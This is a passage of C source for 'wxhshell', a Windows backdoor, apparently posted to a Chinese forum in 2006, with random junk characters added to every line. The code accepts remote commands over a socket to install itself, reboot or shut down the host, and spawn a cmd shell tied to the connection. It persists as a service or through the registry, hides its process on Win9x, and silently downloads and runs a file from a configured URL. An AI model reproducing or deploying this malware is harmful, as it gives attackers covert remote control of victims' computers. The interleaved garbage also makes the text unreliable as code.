    switch(cmd[0]) { ~Gc@#Msj  
  Y: C qQ  
  // 帮助 o;9H~E  
  case '?': { gzK/l:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W@GU;Nr  
    break; .0>bnw  
  } W|;`R{<I%  
  // 安装 oT:w GBW  
  case 'i': { SANb g&$  
    if(Install()) MS2/<LD3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L kafB2y  
    else Eb5>c/(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?st}rJ_  
    break; %/U'Wu{*  
    } |]:6IuslJ  
  // 卸载 J#w=Z>oz<  
  case 'r': { WSF$xC /~  
    if(Uninstall()) = ?/6hB=7<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .2P3 !KCL  
    else 7"eIZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kVeY} 8  
    break; D}{]5R  
    } bA6^R If?  
  // 显示 wxhshell 所在路径 x`p908S^  
  case 'p': { -NzOX"V]3  
    char svExeFile[MAX_PATH]; ^755 LW  
    strcpy(svExeFile,"\n\r"); @VND}{j  
      strcat(svExeFile,ExeFile); 1*#hIuoj'  
        send(wsh,svExeFile,strlen(svExeFile),0); g C8 deC8  
    break; PHez5}T  
    } iN Lt4F[i  
  // 重启 ),o=~,v:  
  case 'b': { \/wk!mWV@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BD.l5 ~:  
    if(Boot(REBOOT)) :hB6-CZkqN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[Ce3m  
    else { :[PA.Upi  
    closesocket(wsh); hOqNZ66{  
    ExitThread(0); -e51 /lhpd  
    } >_\]c-~<  
    break; ykx13|iR  
    } KLj/,ehD !  
  // 关机 I_Gm2 Dd  
  case 'd': { q|lP?-j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d n%'bt  
    if(Boot(SHUTDOWN)) {)Zz4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g p9;I*!  
    else { a*,V\l|6  
    closesocket(wsh); 2*-qEUl1  
    ExitThread(0); :E|+[}|  
    } RLw/~  
    break; ;8]Hw a1!  
    } ,F'y:px  
  // 获取shell ]RVme^=  
  case 's': { *= %`f=  
    CmdShell(wsh); /byF:iYI  
    closesocket(wsh); 'oBv(H  
    ExitThread(0);  Cb|R  
    break; 'o8,XBv-  
  } hR>`I0|p&  
  // 退出 ]'#^ ~.  
  case 'x': { 2C_I3S ~U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d| {<SRAI  
    CloseIt(wsh); }6__E;h#J  
    break; 6il+hz2&lH  
    } !cO<N~0*5x  
  // 离开 )Ps<u-V  
  case 'q': { grd fR`3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #b&=CsW`  
    closesocket(wsh); aXbj pb+  
    WSACleanup(); hg^k lQD  
    exit(1); c)QOgXv  
    break; .?F`H[^)^u  
        } 7pH[_]1"  
  } A~a7/N6s;  
  } VM3)L>x]/  
@a]`C $ 6  
  // 提示信息 "+&@iL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _=qk.|p/  
} nzB!0U  
  } ]#rmk!VT?  
ZI!;~q  
  return; MLmk=&d  
} XQ Si  
X=k|SayE8  
// shell模块句柄 X*r?@uK5  
int CmdShell(SOCKET sock) 0M}Ql5+h,  
{ i8/"|+Z  
STARTUPINFO si; Je#3   
ZeroMemory(&si,sizeof(si)); lb)i0`AN+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %A@U7gqc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u])MI6LF  
PROCESS_INFORMATION ProcessInfo; I\82_t8  
char cmdline[]="cmd"; ;4vx+>-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?l 0WuU  
  return 0; Nu; 9  
} oFu( J  
ub{Yg5{3S\  
// 自身启动模式 _lOyT$DN  
int StartFromService(void) T,4REbm^  
{ P9#}aw+  
typedef struct < $rXQ  
{ Wc/B_F?2  
  DWORD ExitStatus; Dd,]Y}P  
  DWORD PebBaseAddress; [4}U*\/>C  
  DWORD AffinityMask; *_uGzGB&G  
  DWORD BasePriority; `$VnB  
  ULONG UniqueProcessId; XCO;t_%  
  ULONG InheritedFromUniqueProcessId; ]!N|3"Ls  
}   PROCESS_BASIC_INFORMATION; -fx$)d~  
qEPC]es|T  
PROCNTQSIP NtQueryInformationProcess; ]u >~:  
`[4{]jX+<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z@#k ivcpz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g^2H(}frc  
Y#Pg*C8>8  
  HANDLE             hProcess; W'C~{}c=  
  PROCESS_BASIC_INFORMATION pbi; ?CuwA-j  
OxVe}Fym  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >uz3 O?z P  
  if(NULL == hInst ) return 0; X gA( D  
K~\Ocl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v}"DW?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DIc -"5~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Czd)AVK  
^pvnUODW[  
  if (!NtQueryInformationProcess) return 0; flU?6\_UC  
wb-_CQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cy\! H&0wg  
  if(!hProcess) return 0; &o)eRcwH`  
WS ^%< h#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ohB@ijC!  
ncij)7c)u  
  CloseHandle(hProcess); RMxFo\TK;  
K!SFS   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y$HV;%G{26  
if(hProcess==NULL) return 0; NB)22 %  
yUFT9bD  
HMODULE hMod; ,S=ur%  
char procName[255]; Md1ePp]  
unsigned long cbNeeded; $+[ v17lF  
]KRw[}z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2xpI|+ a%  
|VML.u:N  
  CloseHandle(hProcess); HY7#z2L  
b(:U]>J  
if(strstr(procName,"services")) return 1; // 以服务启动 WQYw@M~4Q!  
e[L%M:e9U  
  return 0; // 注册表启动 IM~2=+  
} [Xo[J?w],2  
S8)6@ECC  
// 主模块 Jm*wlN [>  
int StartWxhshell(LPSTR lpCmdLine) rTtxmw0  
{ B["C~aF  
  SOCKET wsl; 2G BE=T  
BOOL val=TRUE; X?OH//co  
  int port=0; .0'FW!;FV  
  struct sockaddr_in door; &^^V*O  
O/PO?>@-/  
  if(wscfg.ws_autoins) Install(); |]x>|Z?/u  
</jTWc'}  
port=atoi(lpCmdLine); qgw)SuwW  
77p8|63  
if(port<=0) port=wscfg.ws_port; Dt*/tVF  
3etW4  
  WSADATA data; GC^>oF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <Is~DjIav  
tx||<8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !$8 e6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ps3jw*QZ{5  
  door.sin_family = AF_INET; 8iUj9r_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _T.k/a  
  door.sin_port = htons(port); 'P3jUc)  
z[0B"f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }w/6"MJ[n  
closesocket(wsl); 4,qhWe`/  
return 1; jq12,R2+)  
} JY6^pC}*  
78/,rp#'_  
  if(listen(wsl,2) == INVALID_SOCKET) { 0}I aWd^4  
closesocket(wsl); e4(E!;Z!QF  
return 1; ]}0QrD  
} &Z 6s\r%  
  Wxhshell(wsl); tkKiuh?m  
  WSACleanup(); xy[aZr  
K+ @R [  
return 0; Q6rvTV'vv  
R*r;`x  
} @pO2A6 Ks  
4|Ay;}X \  
// 以NT服务方式启动 #8qhl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U/9_:  
{ eNX!EN(^  
DWORD   status = 0; x /E<@?*:  
  DWORD   specificError = 0xfffffff; Av_JcH  
g! DJ W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YzVhNJWpw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ![j?/376  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IcP\#zhEv  
  serviceStatus.dwWin32ExitCode     = 0; ^n&_JQIXb  
  serviceStatus.dwServiceSpecificExitCode = 0; B'8/`0^n5  
  serviceStatus.dwCheckPoint       = 0; 5l4YYwd>v  
  serviceStatus.dwWaitHint       = 0; jPa"|9A  
V3<H8pL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?]PE!7H  
  if (hServiceStatusHandle==0) return; ?n(OH~@$i  
+ Un(VTD  
status = GetLastError(); QSSA)  
  if (status!=NO_ERROR) T?HW=v_a  
{ }YCpd)@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0<#>LWaM_  
    serviceStatus.dwCheckPoint       = 0; GY wU3`{  
    serviceStatus.dwWaitHint       = 0; 25{-GaB  
    serviceStatus.dwWin32ExitCode     = status;  aK33bn'j  
    serviceStatus.dwServiceSpecificExitCode = specificError; a(oa?OdJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u4vyj#V  
    return; iqr/MB,W  
  } omzG/)M:O  
Z|$M 9E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x ?24oO  
  serviceStatus.dwCheckPoint       = 0; 1U6 z2i+y  
  serviceStatus.dwWaitHint       = 0; _kXq0~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K$/&C:,Q  
} &$g{i:)Z  
;7E c'nC4  
// 处理NT服务事件,比如:启动、停止 &OsO _F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <sli!rv  
{ F(KsB5OY?  
switch(fdwControl) w?:tce   
{ f@Yo]FU  
case SERVICE_CONTROL_STOP: ?!HU$>  
  serviceStatus.dwWin32ExitCode = 0; O_\%8*;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !QS j*)V#  
  serviceStatus.dwCheckPoint   = 0; W.CbNou  
  serviceStatus.dwWaitHint     = 0; dJ>~  
  { cp$GP*{@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Tz'j}< 9C  
  } Fj4>)!^kM  
  return; *WaqNMD[%  
case SERVICE_CONTROL_PAUSE: N>xdX5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j9xu21'!%  
  break; )k.}>0K |  
case SERVICE_CONTROL_CONTINUE: zd|n!3;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5y8VA4L/o  
  break; c*.-mS~Z`  
case SERVICE_CONTROL_INTERROGATE: @L$!hTaP  
  break; dVe,;?+A  
}; Q>(a JF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); je8 5G`{DC  
} s>*xAIx  
5Ky(C6E$s  
// 标准应用程序主函数 * o{7 a$V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /]oQqZHv  
{ e2^TQv2(=e  
L yH1tF  
// 获取操作系统版本 !|Wf mU  
OsIsNt=GetOsVer(); %2y5a`b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KX J7\}  
2F :8=_sA  
  // 从命令行安装 8PR\a!"  
  if(strpbrk(lpCmdLine,"iI")) Install(); L3=5tuQ[5  
Qk72ra)  
  // 下载执行文件 +/ rt'0o  
if(wscfg.ws_downexe) { C),i#v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z+=M_{`{  
  WinExec(wscfg.ws_filenam,SW_HIDE); JED\"(d(  
} < 1[K1'7h  
Q[{RN ab  
if(!OsIsNt) { MX iQWg$  
// 如果时win9x,隐藏进程并且设置为注册表启动 F1meftK  
HideProc(); N "}N>xe2  
StartWxhshell(lpCmdLine); Ej8g/{  
} _\na9T~g  
else F?^L^N^  
  if(StartFromService()) :gO5#HIm  
  // 以服务方式启动  />6ECT  
  StartServiceCtrlDispatcher(DispatchTable); 0j;q^>  
else yd=b!\}WJ  
  // 普通方式启动 *3)kr=x  
  StartWxhshell(lpCmdLine); +PS jBO4!  
_b$ yohQ  
return 0; M|NQoQ8q  
}
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只看该作者 1 发表于: 2006-10-10
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